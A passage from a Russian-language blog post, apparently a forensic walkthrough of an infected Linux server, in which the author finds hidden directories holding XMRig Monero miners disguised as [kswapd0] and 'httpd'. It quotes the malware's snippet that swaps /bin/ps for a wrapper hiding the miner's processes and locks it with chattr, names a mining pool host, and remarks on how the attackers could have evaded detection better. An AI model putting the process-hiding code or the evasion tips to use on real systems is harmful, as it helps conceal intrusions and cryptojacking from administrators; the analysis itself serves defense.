&lt;a href=&quot;/uploads/2022-02-15-looking-for-virus-in-linux-system/ar.sh.txt&quot;&gt;ar.sh.txt&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;/uploads/2022-02-15-looking-for-virus-in-linux-system/ai.sh.txt&quot;&gt;ai.sh.txt&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Первый файлик рассчитан на ситуацию, если захваченная машина с рутовскими правами, второй — если это обычный юзер.&lt;/p&gt;

&lt;p&gt;У них, кстати, неплохой код, его очень интересно изучать. Хотя и не без грубых косяков!
Например, можно было бы сделать его присутствие менее паливным. Как минимум, не нужно было его пихать сразу во все места, ну и дату создания файла можно же поменять у ФС для созданных и модифицированных файлов. А так, по сути, они все &lt;strong&gt;find&lt;/strong&gt;‘ом ищутся через опцию &lt;strong&gt;atime&lt;/strong&gt;. Ну чуваки, ну камон)&lt;/p&gt;

&lt;p&gt;Зато обрати внимание, как он лихо скрывает своё присутствие в &lt;strong&gt;ps&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
&lt;span class=&quot;nb&quot;&gt;mv&lt;/span&gt; /bin/ps /bin/ps.lanigiro 
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;#!/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;/bin/ps
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ps.lanigiro &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@ | grep -v &apos;ddns&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\|&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;httpd&apos;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;/bin/ps 
&lt;span class=&quot;nb&quot;&gt;touch&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; 20160825 /bin/ps
&lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;a+x /bin/ps
&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHATTR&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; +i /bin/ps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Если интересно (не забудь &lt;a href=&quot;/about/&quot;&gt;написать&lt;/a&gt;) — могу разобрать их в следующей статье.&lt;/p&gt;

&lt;p&gt;Так, вернемся к зараженной машине и посмотрим, что в &lt;strong&gt;/var/tmp/&lt;/strong&gt; (этот путь я нашел в ранее упомянутом файлике &lt;strong&gt;a.sh&lt;/strong&gt;):&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;total 28K
drwxrwxrwt.  5 root root 4.0K Feb 14 21:47 .
drwxr-xr-x. 20 root root 4.0K Feb 14 18:38 ..
drwxr-xr-x   3 root root 4.0K Feb 14 12:30 ...
-rw-r--r--   1 root root    9 Feb 13 20:30 .alsp
drwxr-xr-x   2 root root 4.0K Feb 13 20:25 .copydie
drwxr-xr-x   3 root root 4.0K Feb 13 21:20 .crypto
-rw-rw-r--   1  992  989    9 Feb 14 02:34 .psla
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Так, видим следы, которые оставил скрипт после себя.&lt;/p&gt;

&lt;p&gt;Посмотрим, что в обоих каталогах. Это гениально! Обрати внимание на то, как гармонично вписывается скрытый файл &lt;strong&gt;…&lt;/strong&gt;, я даже не сразу понял что происходит с шеллом :)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/uploads/2022-02-15-looking-for-virus-in-linux-system/dot3lol.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Посмотрим, что у нас там:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.crypto #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; .../
&lt;span class=&quot;go&quot;&gt;total 6.2M
drwxr-xr-x 2 root root 4.0K Feb 14 12:30 .
drwxr-xr-x 3 root root 4.0K Feb 13 21:20 ..
-rwxr-xr-x 1 1000 1000 6.0M Mar  7  2021 .ddns
-rw-r--r-- 1 root root 195K Feb 14 17:52 .ddns.log
-rw-rw-rw- 1 root root 2.6K Feb 14 14:12 .ddns.pid
-rwxrwxrwx 1 root root 9.7K Dec  6 17:43 httpd
-rw-r--r-- 1 root root    7 Feb 13 21:20 .pid
-rw-rw-rw- 1 root root    2 Feb 13 21:20 .profile
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Два каких-то бинарника:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.crypto/... #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;file httpd .ddns
&lt;span class=&quot;go&quot;&gt;httpd: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header
.ddns: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, stripped
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Если верить названию, то это хттп-сервер и какой-то днс. Но верить не будем, но и запускать пока тоже не рискнем. Глянем логи и файлы конфигурации:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.crypto/... #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; .profile 
&lt;span class=&quot;go&quot;&gt;0
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.crypto/... #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; .pid 
&lt;span class=&quot;gp&quot;&gt;761153root@rescue /mnt/var/tmp/.crypto/... #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;А вот в файлике &lt;strong&gt;.ddns.pid&lt;/strong&gt; у нас никакой не pid процесса, а какой-то конфигурационный файл — по всей видимости, майнер:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;api&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;worker-id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;http&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;enabled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;host&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;port&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;access-token&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;restricted&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;autosave&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;background&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;colors&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;randomx&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;init&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;init-avx2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mode&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;auto&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;1gb-pages&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;rdmsr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;wrmsr&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cache_qos&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;numa&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;scratchpad_prefetch_mode&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cpu&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;enabled&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;huge-pages&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;huge-pages-jit&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;hw-aes&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;priority&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;memory-pool&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;yield&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;asm&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;argon2-impl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;astrobwt-max-size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;550&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Пробую гуглить какие-нибудь уникальные строчки и выхожу на файлик &lt;a href=&quot;https://github.com/xmrig/xmrig/blob/master/src/config.json&quot;&gt;https://github.com/xmrig/xmrig/blob/master/src/config.json&lt;/a&gt;. Смотрим описание &lt;a href=&quot;https://github.com/xmrig/xmrig&quot;&gt;https://github.com/xmrig/xmrig&lt;/a&gt; и видим, что это майнер:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;XMRig is a high performance, open source, cross platform RandomX, KawPow, CryptoNight, AstroBWT and &lt;a href=&quot;https://github.com/xmrig/xmrig/tree/master/src/crypto/ghostrider#readme&quot;&gt;GhostRider&lt;/a&gt; unified CPU/GPU miner and &lt;a href=&quot;https://xmrig.com/benchmark&quot;&gt;RandomX benchmark&lt;/a&gt;. Official binaries are available for Windows, Linux, macOS and FreeBSD.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Так, поехали дальше, у нас еще одна директория имеется:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.copydie #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt; config_background.json  &apos;[kswapd0]&apos;  &apos;[kswapd0].log&apos;  &apos;[kswapd0].pid&apos;  &apos;[kswapd0].sh&apos;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;В общем, и тут майнер:&lt;/p&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.copydie #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n5&lt;/span&gt; config_background.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;api&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;worker-id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.copydie #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n10&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\[&lt;/span&gt;kswapd0&lt;span class=&quot;se&quot;&gt;\]&lt;/span&gt;.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; * ABOUT        XMRig/6.2.3-mo2 gcc/7.3.1
 * LIBS         libuv/1.8.0 
 * HUGE PAGES   supported
 * 1GB PAGES    unavailable
 * CPU          Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz (1) x64 AES
                L2:1.0 MB L3:8.0 MB 4C/8T
 * MEMORY       54.8/62.5 GB (88%)
 * DONATE       1%
 * ASSEMBLY     auto:intel
 * POOL #1      elastic.zzhreceive.top:1414 coin monero
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-console highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;root@rescue /mnt/var/tmp/.copydie #&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n10&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\[&lt;/span&gt;kswapd0&lt;span class=&quot;se&quot;&gt;\]&lt;/span&gt;.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; pidof &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;kswapd0] &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;/dev/null&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;nice&lt;/span&gt; /var/tmp/.copydie/[kswapd0] &lt;span class=&quot;nv&quot;&gt;$*&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else
  &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Monero miner is already running in the background. Refusing to run another one.&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Run &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;killall xmrig&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; or &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sudo killall xmrig&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; if you want to remove background miner first.&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Вообще, чистить машину от этой гадости я смысла никакого не вижу.&lt;/p&gt;

